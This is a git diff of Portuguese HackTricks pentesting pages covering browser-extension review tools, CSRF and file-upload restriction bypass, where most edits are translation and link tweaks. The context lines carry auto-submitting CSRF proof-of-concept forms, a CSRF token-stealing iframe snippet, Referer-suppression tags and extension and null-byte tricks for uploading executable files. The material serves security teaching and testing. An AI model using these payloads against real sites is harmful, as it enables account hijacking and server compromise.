-* [ ] Se qualquer **comunicação** ocorrer da **extensão** para a **página da web**, [**verifique por XSS**](browext-xss-example.md) **vulnerabilidades** causadas na comunicação.
-* [ ] Se Post Messages forem usados, verifique por [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.**
-* [ ] Se o **Content Script acessar detalhes do DOM**, verifique se eles **não estão introduzindo um XSS** se forem **modificados** pela web
-* [ ] Faça uma ênfase especial se essa comunicação também estiver envolvida na **comunicação do Content Script -> Script de Fundo**
-* [ ] Se o script de fundo estiver se comunicando via **native messaging**, verifique se a comunicação é segura e sanitizada
+* [ ] Se **`web_accessible_resources`** não for nenhum, verificar [**ClickJacking**](browext-clickjacking.md)
+* [ ] Se qualquer **comunicação** ocorrer da **extensão** para a **página da web**, [**verificar por XSS**](browext-xss-example.md) **vulnerabilidades** causadas na comunicação.
+* [ ] Se Post Messages forem usados, verificar por [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.**
+* [ ] Se o **Content Script acessar detalhes do DOM**, verificar se **não estão introduzindo um XSS** se forem **modificados** pela web
+* [ ] Fazer uma ênfase especial se essa comunicação também estiver envolvida na **comunicação do Content Script -> Script de Fundo**
+* [ ] Se o script de fundo estiver se comunicando via **native messaging**, verificar se a comunicação é segura e sanitizada
 * [ ] **Informações sensíveis não devem ser armazenadas** dentro do código da Extensão do Navegador
 * [ ] **Informações sensíveis não devem ser armazenadas** dentro da memória da Extensão do Navegador
 * [ ] **Informações sensíveis não devem ser armazenadas** dentro do **sistema de arquivos sem proteção**
@@ -691,11 +691,11 @@ Embora as Extensões de Navegador tenham uma **superfície de ataque limitada**,
 
 * Puxa qualquer extensão do Chrome a partir de um link fornecido da Chrome webstore.
 * Visualizador de [**manifest.json**](https://developer.chrome.com/extensions/manifest): simplesmente exibe uma versão JSON formatada do manifesto da extensão.
-* Análise de Impressão Digital: Detecção de [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) e geração automática de JavaScript de impressão digital de extensão do Chrome.
-* Análise de Clickjacking Potencial: Detecção de páginas HTML de extensão com a diretiva [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) definida. Estas são potencialmente vulneráveis a clickjacking dependendo do propósito das páginas.
-* Visualizador de Aviso(s) de Permissão: que mostra uma lista de todos os avisos de prompt de permissão do Chrome que serão exibidos quando um usuário tentar instalar a extensão.
-* Função(ões) Perigosa(s): mostra a localização de funções perigosas que poderiam potencialmente ser exploradas por um atacante (por exemplo, funções como innerHTML, chrome.tabs.executeScript).
-* Ponto(s) de Entrada: mostra onde a extensão recebe entrada de usuário/externa. Isso é útil para entender a área de superfície de uma extensão e procurar pontos potenciais para enviar dados maliciosamente elaborados para a extensão.
+* **Análise de Impressão Digital**: Detecção de [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) e geração automática de JavaScript de impressão digital de extensão do Chrome.
+* **Análise Potencial de Clickjacking**: Detecção de páginas HTML de extensão com a diretiva [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) definida. Estas são potencialmente vulneráveis a clickjacking dependendo do propósito das páginas.
+* Visualizador de **Aviso(s) de Permissão**: que mostra uma lista de todos os avisos de solicitação de permissão do Chrome que serão exibidos quando um usuário tentar instalar a extensão.
+* **Função(ões) Perigosa(s)**: mostra a localização de funções perigosas que poderiam potencialmente ser exploradas por um atacante (por exemplo, funções como innerHTML, chrome.tabs.executeScript).
+* **Ponto(s) de Entrada**: mostra onde a extensão recebe entrada de usuário/externa. Isso é útil para entender a área de superfície de uma extensão e procurar pontos potenciais para enviar dados maliciosamente elaborados para a extensão.
 * Tanto os scanners de Função(ões) Perigosa(s) quanto de Ponto(s) de Entrada têm o seguinte para seus alertas gerados:
 * Trecho de código relevante e linha que causou o alerta.
 * Descrição do problema.
@@ -704,17 +704,17 @@ Embora as Extensões de Navegador tenham uma **superfície de ataque limitada**,
 * O URI completo da extensão do Chrome do arquivo alertado.
 * O tipo de arquivo que é, como um script de Página de Fundo, Script de Conteúdo, Ação do Navegador, etc.
 * Se a linha vulnerável estiver em um arquivo JavaScript, os caminhos de todas as páginas onde está incluída, bem como o tipo dessas páginas e o status de [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources).
-* Analisador de Política de Segurança de Conteúdo (CSP) e verificador de bypass: Isso apontará fraquezas na CSP da sua extensão e também iluminará quaisquer maneiras potenciais de contornar sua CSP devido a CDNs na lista branca, etc.
-* Bibliotecas Conhecidas Vulneráveis: Isso usa [Retire.js](https://retirejs.github.io/retire.js/) para verificar qualquer uso de bibliotecas JavaScript conhecidas como vulneráveis.
+* **Analisador de Política de Segurança de Conteúdo (CSP) e verificador de bypass**: Isso apontará fraquezas na CSP da sua extensão e também iluminará quaisquer maneiras potenciais de contornar sua CSP devido a CDNs na lista branca, etc.
+* **Bibliotecas Conhecidas Vulneráveis**: Isso usa [Retire.js](https://retirejs.github.io/retire.js/) para verificar qualquer uso de bibliotecas JavaScript conhecidas como vulneráveis.
 * Baixar extensão e versões formatadas.
 * Baixar a extensão original.
 * Baixar uma versão embelezada da extensão (HTML e JavaScript automaticamente formatados).
-* Cache automático dos resultados da varredura, executar uma varredura de extensão levará um bom tempo na primeira vez que você a executar. No entanto, na segunda vez, assumindo que a extensão não foi atualizada, será quase instantâneo devido aos resultados estarem em cache.
+* Cache automático dos resultados da varredura, executar uma varredura de extensão levará um bom tempo na primeira vez que você a executar. No entanto, a segunda vez, assumindo que a extensão não foi atualizada, será quase instantânea devido aos resultados estarem em cache.
 * URLs de Relatório Linkáveis, facilmente vincule alguém a um relatório de extensão gerado pelo tarnish.
 
 ### [Neto](https://github.com/elevenpaths/neto)
 
-O Projeto Neto é um pacote Python 3 concebido para analisar e desvendar recursos ocultos de plugins e extensões de navegador para navegadores bem conhecidos, como Firefox e Chrome. Ele automatiza o processo de descompactar os arquivos empacotados para extrair esses recursos de recursos relevantes em uma extensão como `manifest.json`, pastas de localização ou arquivos fonte JavaScript e HTML.
+O Projeto Neto é um pacote Python 3 concebido para analisar e desvendar recursos ocultos de plugins e extensões de navegador para navegadores conhecidos como Firefox e Chrome. Ele automatiza o processo de descompactar os arquivos empacotados para extrair esses recursos de recursos relevantes em uma extensão como `manifest.json`, pastas de localização ou arquivos fonte JavaScript e HTML.
 
 ## Referências
 
@@ -730,16 +730,16 @@ O Projeto Neto é um pacote Python 3 concebido para analisar e desvendar recurso
 * [https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0)
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
+* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
 
 </details>
 {% endhint %}

pentesting-web/csrf-cross-site-request-forgery.md

@@ -1,8 +1,8 @@
 # CSRF (Cross Site Request Forgery)
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -32,7 +32,7 @@ Fique informado sobre os novos programas de recompensas por bugs lançados e atu
 
 ## Cross-Site Request Forgery (CSRF) Explicado
 
-**Cross-Site Request Forgery (CSRF)** é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Ela permite que atacantes realizem ações em nome de usuários desavisados, explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma de uma vítima, visita um site malicioso. Este site então aciona requisições para a conta da vítima através de métodos como executar JavaScript, enviar formulários ou buscar imagens.
+**Cross-Site Request Forgery (CSRF)** é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Ela permite que atacantes realizem ações em nome de usuários desavisados, explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma de uma vítima, visita um site malicioso. Este site então aciona solicitações para a conta da vítima através de métodos como executar JavaScript, enviar formulários ou buscar imagens.
 
 ### Pré-requisitos para um Ataque CSRF
 
@@ -40,26 +40,26 @@ Para explorar uma vulnerabilidade CSRF, várias condições devem ser atendidas:
 
 1. **Identificar uma Ação Valiosa**: O atacante precisa encontrar uma ação que vale a pena explorar, como mudar a senha do usuário, email ou elevar privilégios.
 2. **Gerenciamento de Sessão**: A sessão do usuário deve ser gerenciada exclusivamente através de cookies ou do cabeçalho de Autenticação Básica HTTP, pois outros cabeçalhos não podem ser manipulados para esse propósito.
-3. **Ausência de Parâmetros Imprevisíveis**: A requisição não deve conter parâmetros imprevisíveis, pois eles podem impedir o ataque.
+3. **Ausência de Parâmetros Imprevisíveis**: A solicitação não deve conter parâmetros imprevisíveis, pois eles podem impedir o ataque.
 
 ### Verificação Rápida
 
-Você pode **capturar a requisição no Burp** e verificar as proteções CSRF e para testar do navegador você pode clicar em **Copiar como fetch** e verificar a requisição:
+Você pode **capturar a solicitação no Burp** e verificar as proteções CSRF e para testar do navegador você pode clicar em **Copiar como fetch** e verificar a solicitação:
 
-<figure><img src="../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-### Defendendo Contra CSRF
+### Defendendo-se Contra CSRF
 
 Várias contramedidas podem ser implementadas para proteger contra ataques CSRF:
 
-* [**Cookies SameSite**](hacking-with-cookies/#samesite): Este atributo impede que o navegador envie cookies junto com requisições de outros sites. [Mais sobre cookies SameSite](hacking-with-cookies/#samesite).
-* [**Compartilhamento de recursos entre origens**](cors-bypass.md): A política CORS do site da vítima pode influenciar a viabilidade do ataque, especialmente se o ataque requerer a leitura da resposta do site da vítima. [Saiba mais sobre bypass de CORS](cors-bypass.md).
+* [**Cookies SameSite**](hacking-with-cookies/#samesite): Este atributo impede que o navegador envie cookies junto com solicitações de sites cruzados. [Mais sobre cookies SameSite](hacking-with-cookies/#samesite).
+* [**Compartilhamento de recursos de origem cruzada**](cors-bypass.md): A política CORS do site da vítima pode influenciar a viabilidade do ataque, especialmente se o ataque exigir a leitura da resposta do site da vítima. [Saiba mais sobre bypass de CORS](cors-bypass.md).
 * **Verificação do Usuário**: Solicitar a senha do usuário ou resolver um captcha pode confirmar a intenção do usuário.
-* **Verificando Cabeçalhos Referrer ou Origin**: Validar esses cabeçalhos pode ajudar a garantir que as requisições estão vindo de fontes confiáveis. No entanto, a elaboração cuidadosa de URLs pode contornar verificações mal implementadas, como:
+* **Verificando Cabeçalhos de Referência ou Origem**: Validar esses cabeçalhos pode ajudar a garantir que as solicitações estão vindo de fontes confiáveis. No entanto, a elaboração cuidadosa de URLs pode contornar verificações mal implementadas, como:
 * Usar `http://mal.net?orig=http://example.com` (URL termina com a URL confiável)
 * Usar `http://example.com.mal.net` (URL começa com a URL confiável)
-* **Modificando Nomes de Parâmetros**: Alterar os nomes dos parâmetros em requisições POST ou GET pode ajudar a prevenir ataques automatizados.
-* **Tokens CSRF**: Incorporar um token CSRF único em cada sessão e exigir esse token em requisições subsequentes pode mitigar significativamente o risco de CSRF. A eficácia do token pode ser aumentada pela imposição de CORS.
+* **Modificando Nomes de Parâmetros**: Alterar os nomes dos parâmetros em solicitações POST ou GET pode ajudar a prevenir ataques automatizados.
+* **Tokens CSRF**: Incorporar um token CSRF único em cada sessão e exigir esse token em solicitações subsequentes pode mitigar significativamente o risco de CSRF. A eficácia do token pode ser aumentada pela imposição de CORS.
 
 Compreender e implementar essas defesas é crucial para manter a segurança e integridade das aplicações web.
 
@@ -67,11 +67,11 @@ Compreender e implementar essas defesas é crucial para manter a segurança e in
 
 ### De POST para GET
 
-Talvez o formulário que você deseja abusar esteja preparado para enviar uma **requisição POST com um token CSRF, mas** você deve **verificar** se um **GET** também é **válido** e se, ao enviar uma requisição GET, o **token CSRF ainda está sendo validado**.
+Talvez o formulário que você deseja abusar esteja preparado para enviar uma **solicitação POST com um token CSRF, mas**, você deve **verificar** se um **GET** também é **válido** e se, ao enviar uma solicitação GET, o **token CSRF ainda está sendo validado**.
 
 ### Falta de token
 
-As aplicações podem implementar um mecanismo para **validar tokens** quando eles estão presentes. No entanto, uma vulnerabilidade surge se a validação for completamente ignorada quando o token está ausente. Os atacantes podem explorar isso **removendo o parâmetro** que carrega o token, não apenas seu valor. Isso permite que eles contornem o processo de validação e realizem um ataque Cross-Site Request Forgery (CSRF) de forma eficaz.
+As aplicações podem implementar um mecanismo para **validar tokens** quando eles estão presentes. No entanto, uma vulnerabilidade surge se a validação for completamente ignorada quando o token está ausente. Os atacantes podem explorar isso **removendo o parâmetro** que carrega o token, não apenas seu valor. Isso permite que eles contornem o processo de validação e realizem um ataque de Cross-Site Request Forgery (CSRF) de forma eficaz.
 
 ### Token CSRF não está vinculado à sessão do usuário
 
@@ -83,13 +83,13 @@ Veja como os atacantes exploram isso:
 2. **Obter um token CSRF válido** do pool global.
 3. **Usar esse token** em um ataque CSRF contra uma vítima.
 
-Essa vulnerabilidade permite que os atacantes façam requisições não autorizadas em nome da vítima, explorando o **mecanismo inadequado de validação de tokens** da aplicação.
+Essa vulnerabilidade permite que os atacantes façam solicitações não autorizadas em nome da vítima, explorando o **mecanismo de validação de token inadequado** da aplicação.
 
 ### Bypass de Método
 
-Se a requisição estiver usando um método "**estranho**", verifique se a **funcionalidade** de **sobrescrita de método** está funcionando. Por exemplo, se estiver **usando um método PUT**, você pode tentar **usar um método POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
+Se a solicitação estiver usando um **método "estranho"**, verifique se a **funcionalidade de substituição de método** está funcionando. Por exemplo, se estiver **usando um método PUT**, você pode tentar **usar um método POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
 
-Isso também pode funcionar enviando o **parâmetro \_method dentro de uma requisição POST** ou usando os **cabeçalhos**:
+Isso também pode funcionar enviando o **parâmetro \_method dentro de uma solicitação POST** ou usando os **cabeçalhos**:
 
 * _X-HTTP-Method_
 * _X-HTTP-Method-Override_
@@ -97,14 +97,14 @@ Isso também pode funcionar enviando o **parâmetro \_method dentro de uma requi
 
 ### Bypass de token de cabeçalho personalizado
 
-Se a requisição estiver adicionando um **cabeçalho personalizado** com um **token** à requisição como **método de proteção CSRF**, então:
+Se a solicitação estiver adicionando um **cabeçalho personalizado** com um **token** à solicitação como **método de proteção CSRF**, então:
 
-* Teste a requisição sem o **Token Personalizado e também o cabeçalho.**
-* Teste a requisição com o **mesmo comprimento exato, mas um token diferente**.
+* Teste a solicitação sem o **Token Personalizado e também o cabeçalho.**
+* Teste a solicitação com o **mesmo comprimento exato, mas um token diferente**.
 
 ### Token CSRF é verificado por um cookie
 
-As aplicações podem implementar proteção CSRF duplicando o token em um cookie e um parâmetro de requisição ou configurando um cookie CSRF e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida requisições verificando se o token no parâmetro de requisição alinha-se com o valor no cookie.
+As aplicações podem implementar proteção CSRF duplicando o token em um cookie e um parâmetro de solicitação ou definindo um cookie CSRF e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida as solicitações verificando se o token no parâmetro de solicitação alinha-se com o valor no cookie.
 
 No entanto, esse método é vulnerável a ataques CSRF se o site tiver falhas que permitam a um atacante definir um cookie CSRF no navegador da vítima, como uma vulnerabilidade CRLF. O atacante pode explorar isso carregando uma imagem enganosa que define o cookie, seguida pela iniciação do ataque CSRF.
 
@@ -130,7 +130,7 @@ Observe que se o **token csrf estiver relacionado com o cookie de sessão, este
 
 ### Mudança de Content-Type
 
-De acordo com [**isso**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar requisições de pré-vôo** usando o método **POST**, estes são os valores de Content-Type permitidos:
+De acordo com [**isto**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar requisições preflight** usando o método **POST**, estes são os valores de Content-Type permitidos:
 
 * **`application/x-www-form-urlencoded`**
 * **`multipart/form-data`**
@@ -151,19 +151,19 @@ form.submit();
 </body>
 </html>
 ```
-### Bypassando Requisições Preflight para Dados JSON
+### Bypassing Preflight Requests for JSON Data
 
-Ao tentar enviar dados JSON via uma requisição POST, usar `Content-Type: application/json` em um formulário HTML não é diretamente possível. Da mesma forma, utilizar `XMLHttpRequest` para enviar esse tipo de conteúdo inicia uma requisição preflight. No entanto, existem estratégias para potencialmente contornar essa limitação e verificar se o servidor processa os dados JSON independentemente do Content-Type:
+Ao tentar enviar dados JSON via uma solicitação POST, usar `Content-Type: application/json` em um formulário HTML não é diretamente possível. Da mesma forma, utilizar `XMLHttpRequest` para enviar esse tipo de conteúdo inicia uma solicitação de pré-verificação. No entanto, existem estratégias para potencialmente contornar essa limitação e verificar se o servidor processa os dados JSON independentemente do Content-Type:
 
-1. **Use Tipos de Conteúdo Alternativos**: Empregue `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` definindo `enctype="text/plain"` no formulário. Essa abordagem testa se o backend utiliza os dados independentemente do Content-Type.
-2. **Modifique o Tipo de Conteúdo**: Para evitar uma requisição preflight enquanto garante que o servidor reconheça o conteúdo como JSON, você pode enviar os dados com `Content-Type: text/plain; application/json`. Isso não aciona uma requisição preflight, mas pode ser processado corretamente pelo servidor se estiver configurado para aceitar `application/json`.
-3. **Utilização de Arquivo SWF Flash**: Um método menos comum, mas viável, envolve usar um arquivo SWF flash para contornar tais restrições. Para uma compreensão mais profunda dessa técnica, consulte [este post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
+1. **Use Alternative Content Types**: Empregue `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` definindo `enctype="text/plain"` no formulário. Essa abordagem testa se o backend utiliza os dados independentemente do Content-Type.
+2. **Modify Content Type**: Para evitar uma solicitação de pré-verificação enquanto garante que o servidor reconheça o conteúdo como JSON, você pode enviar os dados com `Content-Type: text/plain; application/json`. Isso não aciona uma solicitação de pré-verificação, mas pode ser processado corretamente pelo servidor se estiver configurado para aceitar `application/json`.
+3. **SWF Flash File Utilization**: Um método menos comum, mas viável, envolve usar um arquivo SWF flash para contornar tais restrições. Para uma compreensão mais profunda dessa técnica, consulte [este post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
 
-### Bypass de verificação de Referer / Origem
+### Referrer / Origin check bypass
 
-**Evitar o cabeçalho Referer**
+**Avoid Referrer header**
 
-As aplicações podem validar o cabeçalho 'Referer' apenas quando ele está presente. Para impedir que um navegador envie esse cabeçalho, a seguinte tag meta HTML pode ser usada:
+As aplicações podem validar o cabeçalho 'Referer' apenas quando ele está presente. Para evitar que um navegador envie esse cabeçalho, a seguinte tag meta HTML pode ser usada:
 ```xml
 <meta name="referrer" content="never">
 ```
@@ -196,7 +196,7 @@ document.forms[0].submit();
 ```
 ### **Método HEAD bypass**
 
-A primeira parte de [**este CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que o [código-fonte do Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), um roteador, está configurado para **tratar requisições HEAD como requisições GET** sem corpo de resposta - uma solução comum que não é exclusiva do Oak. Em vez de um manipulador específico que lida com requisições HEAD, elas são simplesmente **enviadas para o manipulador GET, mas o aplicativo apenas remove o corpo da resposta**.
+A primeira parte de [**este CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que o [código-fonte do Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), um roteador, está configurado para **tratar requisições HEAD como requisições GET** sem corpo de resposta - uma solução comum que não é exclusiva do Oak. Em vez de um manipulador específico que lida com requisições HEAD, elas são simplesmente **dadas ao manipulador GET, mas o aplicativo apenas remove o corpo da resposta**.
 
 Portanto, se uma requisição GET estiver sendo limitada, você pode simplesmente **enviar uma requisição HEAD que será processada como uma requisição GET**.
 
@@ -212,7 +212,7 @@ Se um **token CSRF** estiver sendo usado como **defesa**, você pode tentar **ex
 <h1>404 - Page not found</h1>
 The URL you are requesting is no longer available
 ```
-Outras tags HTML5 que podem ser usadas para enviar automaticamente uma solicitação GET são:
+Outros tags HTML5 que podem ser usados para enviar automaticamente uma solicitação GET são:
 ```html
 <iframe src="..."></iframe>
 <script src="..."></script>
@@ -233,7 +233,7 @@ body { background: url('...'); }
 <track src="..." kind="subtitles">
 <input type="image" src="..." alt="Submit Button">
 ```
-### Formulário de solicitação GET
+### Form GET request
 ```html
 <html>
 <!-- CSRF PoC - generated by Burp Suite Professional -->
@@ -249,7 +249,7 @@ document.forms[0].submit();
 </body>
 </html>
 ```
-### Solicitação POST de Formulário
+### Formulário de solicitação POST
 ```html
 <html>
 <body>
@@ -265,7 +265,7 @@ document.forms[0].submit(); //Way 3 to autosubmit
 </body>
 </html>
 ```
-### Formulário de solicitação POST através de iframe
+### Solicitação POST de formulário através de iframe
 ```html
 <!--
 The request is sent through the iframe withuot reloading the page
@@ -428,7 +428,7 @@ document.getElementById("form1").submit();
 </script>
 <iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
 ```
-### **Roubar o token CSRF e enviar uma solicitação POST usando um iframe e um formulário**
+### **Roubar o Token CSRF e enviar uma solicitação POST usando um iframe e um formulário**
 ```html
 <iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
 
@@ -589,7 +589,7 @@ login(USER, line.strip())
 Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
 
 **Insights de Hacking**\
-Engaje-se com conteúdo que explora a emoção e os desafios do hacking
+Engaje-se com conteúdo que mergulha na emoção e nos desafios do hacking
 
 **Notícias de Hack em Tempo Real**\
 Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
@@ -600,8 +600,8 @@ Fique informado sobre os novos programas de recompensas por bugs lançados e atu
 **Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

pentesting-web/file-upload/README.md

@@ -1,8 +1,8 @@
 # File Upload
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking na AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking no GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -15,7 +15,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
 
@@ -26,7 +26,7 @@ Se você está interessado em **carreira de hacking** e hackear o inhackeável -
 Outras extensões úteis:
 
 * **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
-* **Funcionando no PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
+* **Trabalhando no PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
 * **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
 * **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
 * **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@@ -64,7 +64,7 @@ Outras extensões úteis:
 * _file.php%00.png%00.jpg_
 6. Tente colocar a **extensão exec antes da extensão válida** e reze para que o servidor esteja mal configurado. (útil para explorar configurações incorretas do Apache onde qualquer coisa com extensão **_**.php**_**, mas** não necessariamente terminando em .php** executará código):
 * _ex: file.php.png_
-7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Nesse caso, um caractere de dois pontos “:” será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (por exemplo, “file.asax:.jpg”). Este arquivo pode ser editado mais tarde usando outras técnicas, como usar seu nome de arquivo curto. O padrão “**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após esse padrão também pode ser útil para contornar mais restrições (por exemplo, “file.asp::$data.”)
+7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Neste caso, um caractere de dois pontos “:” será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (por exemplo, “file.asax:.jpg”). Este arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome de arquivo curto. O padrão “**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após este padrão também pode ser útil para contornar mais restrições (por exemplo, “file.asp::$data.”)
